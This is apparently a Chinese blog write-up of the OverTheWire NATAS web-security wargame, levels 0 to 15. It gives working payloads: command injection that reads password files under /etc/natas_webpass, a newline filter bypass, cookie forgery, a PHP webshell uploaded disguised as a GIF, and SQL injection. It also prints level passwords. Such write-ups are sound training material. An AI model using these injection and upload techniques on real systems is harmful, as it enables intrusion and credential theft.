NATAS

NATAS 0

image-20230516141731305

查看源代码页面。

image-20230516141801967

g9D9cREhslqBKtcA2uocGHPfMZVzeFK6

NATAS 1

You can find the password for the next level on this page, but rightclicking has been blocked!

右键菜单用不了,直接url栏添加view-source:

h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7

NATAS 2(路径)

There is nothing on this page

右键菜单得

image-20230516142055627

这么小一个点,让我想到了图片宽高比

打开winhex,发现就是png,好吧,没用

f12查看网络嘞,发现了base64编码,解码后发现是第二关的密码,没用

看了wp才知道,/files试试,查看路径

http://natas2.natas.labs.overthewire.org/files

index

NATAS 3(robots.txt)

There is nothing on this page

查看源代码后

image-20230516180626251

好像确实没东西诶。

看了wp,提示说搜索引擎的话,看robots.txt

image-20230516182801703

路径 /s3cr3t/

输入下,给了user.txt,点击查看得

1
tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm

NATAS 4(Referer注入)

image-20230516182950328

说是没权限,考虑要bp,右键链接,抓包后把referer改一下

image-20230516183538845

image-20230516183557188

Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD

NATAS 5(Cookie注入)

Access disallowed. You are not logged in

查看源代码,没有。

直接抓包吧

image-20230516183915010

Cookie处为0,改为1试试

image-20230516183943554

NATAS 6 (php代码审计)

image-20230516184055751

看下源代码

image-20230516184111016

1
array_key_exists ( mixed $key , array $array ) : bool

检查数组中是否存在指定键名。

我们看路径为,includes/secret.inc

image-20230516194213702

也就是说输入的值要和该路径值是相同的

image-20230516194332011

NATAS 7 (任意命令执行)

natas7页面

点击之后出现效果

natas7的home页面

查看源代码提示了密码位置

image-20230516202112882

NATAS 8 (php代码审计)

和NATAS 6一样的页面,我们看源代码

NATAS 8源代码

分析代码可知,输入框中的值经过encodeSecret()函数处理后的值与上述3d…相等即可

先base64_encode,再strrev(逆置),再bin2hex(ASCII字符串转化为16进制)

hex2bin(hexString)的作用是将字符串作为十六进制的模式进行处理,”68656c6c6f”会被处理成“68” “65” “6c” “6c” “6f”,然后转换成对应的二进制数值,“68”(注意是字符串 2bytes)转为二进制数值是 01101000(注意是数值 1byte),输出至终端其实就是h(1bytes)的,依次处理后,我们成功的将10bytes的字符串“68656c6c6f”转换成了5bytes的字符串“hello”`

bin2hex(binString)则是将待处理的数据的二进制bit串进行16进制转换,并返回相应的16进制形式的字符串,这里的bin是说会将其作为二进制流,转换成对应的十六进制流,然后再以对应的字符串方式返回。比如"h"二进制bit串01101000,对应的十六进制是 0x68,相应的字符串形式是"68",依次继续解包处理 "e" "l" "l" "o" 后得到的字符串就是"68656c6c6f"

image-20230516204322265

参考: hex2bin / bin2hex / pack / unpack 的理解及应用_weixin_33896726的博客-CSDN博客

那么进行相反操作,先hex2bin()->strrev->base64_decode

image-20230516204429541

输入框提交oubWYf2kBq即可。

NATAS 9 (RCE)

image-20230516204620916

先看源代码

image-20230516204642815

passthru() 允许您运行外部程序,并在屏幕上显示结果。不需要使用 echo 或 return 来查看结果

上述代码应该是如果key不为空,就去在dictionary.txt去找含key的行

grep,linux中的文本匹配命令, -i 不区分大小写地搜索

看看txt文件内容

image-20230516205145633

嘶,有什么意义嘞。

看了wp说是,已知grep,应该联想到命令注入漏洞,又已知/etc/natas_webpass目录下存放着各级命令。截断grep命令即可。

;cat /etc/natas_webpass/natas10 #

;用于截断前面的grep -i,#用于注释后面的dictionary.txt

NATAS 10 (RCE)

在NATAS 9的基础上,For security reasons, we now filter on certain characters,过滤了一些特定字符

源代码可以看出

image-20230516214122214

过滤了常见符 &、|、;

哦豁,那咋办。

可用**%0a、%0d代替**。

%0a cat /etc/natas_webpass/natas11#

输入框输入提交时,无显示;

直接在url处输入。

image-20230516215849290

参考:命令注入的各种绕过:CTFhub RCE 命令注入部分_qq_41497476的博客-CSDN博客

NATAS 11 (php代码审计、异或逆推、修改Cookie)

natas11页面

1
2
3
4
5
6
7
8
……

<?
if($data["showpassword"] == "yes") {`
`print "The password for natas12 is <censored><br>";
}

?>

先从最后的代码分析,如果$data[“showpassword”] == “yes”,即可得到密码。showpassword是什么?

原始的数据是个数组,有两部分,它的showpassword部分是no。

看$data怎么得到哈,从最后看起,

1
2
3
4
5
6
7
8
9
10
11
12
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
……

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}

saveData($data);

这一段就是页面上,点击按钮,就设置颜色那一块。

看一下loadData()、saveData()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function loadData($def) {
global $_COOKIE;
$mydata = $def;#输入的值
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);#将cookie先base64解码,再异或后json解码才与输入值是同类型

if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;`
}

这个作用应该是将原始数组解密,存成mydata数组

function saveData($d) { setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

将编码后的值存到_COOKIE[“data”]中。

xor_encrypt()函数内容为

function xor_encrypt($in) {
    $key = '<censored>';#键值
    $text = $in;#输入值
    $outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}

return $outText;#新值
}

综上,xor..函数的输入值是将原cookie经过base64_decode的值

思路为:原始data 异或 key=加密data

​ 原始data 异或 加密data=key

​ 之后再构造新data,即(…=“yes”),用得到的key加密,存回cookie

1
原始data为array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

通过f12网络可知data

image-20230516230016557

1
加密data为MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qe354bjY%3D

异或俩data,得到key

得到的值有点怪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$data=base64_decode("MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qe354bjY%3D");
function xor_encrypt($in) {
$key =json_encode(array("showpassword"=>"no", "bgcolor"=>"#ffffff"));
$text = $in;
$outText = '';

// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i]^ $key[$i % strlen($key)];
}

return $outText;
}
echo xor_encrypt($data);

?>



image-20230516234336935

这三个框emmm

所以key=KNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLLKL

我这里出现了问题,key是它的话,不成功,但是看大佬的wp,是只取了前4位的,所以我也取前4位试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$data=array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key ='KNHL';
$text = $in;
$outText = '';

// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i]^ $key[$i % strlen($key)];
}

return $outText;
}
echo base64_encode(xor_encrypt(json_encode($data)));

?>

MGw7JCQ5OC04PT8jOSpqdmk3LT9pYmouLC0nICQ8anZpbS4qLSguKmkz这就是新cookie了,用bp进行POST时,Cookie换上它。其实也可以f12控制台里document.cookie进行设置

image-20230516235350410

YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG

参考:(8WarGame系列之Natas(Web安全)通关指北(中级篇11-20) 详细版_KEY0NE的博客-CSDN博客

NATAS 12(文件上传-任意文件)

效果是上传的文件都会被改名,且后缀改为jpg。而文件上传木马只有php时才有效果。

抓包,改后缀为php

image-20230517111546504

用蚁剑连接的方式貌似失败诶,那就改成如下内容:

image-20230517112515856

上传成功后,点击链接就可以

lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9

NATAS 13(文件上传-仅图像文件)

在NATAS 12的基础上,有For security reasons, we now only accept image files!

改后缀绕过都不行。

1
2
else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";

exif_imagetype() 来验证文件类型,

那么在文件开头加上GIF98a.

1
2
3
4
5
6
7
GIF98a
<?php


system('cat /etc/natas_webpass/natas14');

?>

image-20230517115603042

qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP

NATAS 14(登陆页面)

登陆页面,随便输入账号密码,提交后出现,权限拒绝

image-20230518140929790

直接将Sql语句拼接,存在sql注入

username=123" or 1=1#&password=123"

#之后是注释掉了

原sql语句会变成:

SELECT * from users where username="123" or 1=1#

即条件始终为真。

Successful login! The password for natas15 is TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB

NATAS 15 (输入框提交)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
...
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas15', '<censored>');
mysqli_select_db($link, 'natas15');

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}

$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}

mysqli_close($link);
}

mysqli_query(link,query)在数据库中执行一条sql语句

link指建立的连接,query查询字符串

看了wp,说是盲注。

。。。。。。。。

它应该会对内容进行检测,试试图片码

copy mm.php/a+a.jpg/b 3.jpg

image-20230517114223870

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信